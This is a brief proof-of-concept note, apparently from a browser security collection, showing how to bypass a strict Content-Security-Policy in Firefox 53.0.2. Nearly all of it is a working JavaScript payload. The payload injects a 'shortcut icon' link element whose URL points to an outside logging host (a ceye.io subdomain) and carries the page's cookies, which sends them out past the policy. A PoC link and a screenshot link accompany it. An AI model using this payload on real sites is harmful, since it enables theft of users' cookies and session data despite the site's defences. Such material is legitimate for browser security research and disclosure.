#### Firefox 53.0.2 Version
PoC: http://server.n0tr00t.com/firefox/ffcsp53.0.2.php
PiC: https://ws1.sinaimg.cn/large/c334041bgy1ffeb2a6xfej20ph09nacs.jpg
**CSP RULE:**
```
header("Content-Security-Policy: default-src 'none' 'unsafe-inline';");
```
**Bypass:**
```
x = (new Date()).valueOf();
document.cookie = "csp=" + escape("SECUREKEY@^#2!@#") + ";";
ffn0t= document.head.appendChild(document.createElement("link"));
ffn0t.rel = "shortcut icon";
ffn0t.href = "http://" + x + ".shortcuticon.ff.vqn3j8.ceye.io/?" + document.cookie;
```
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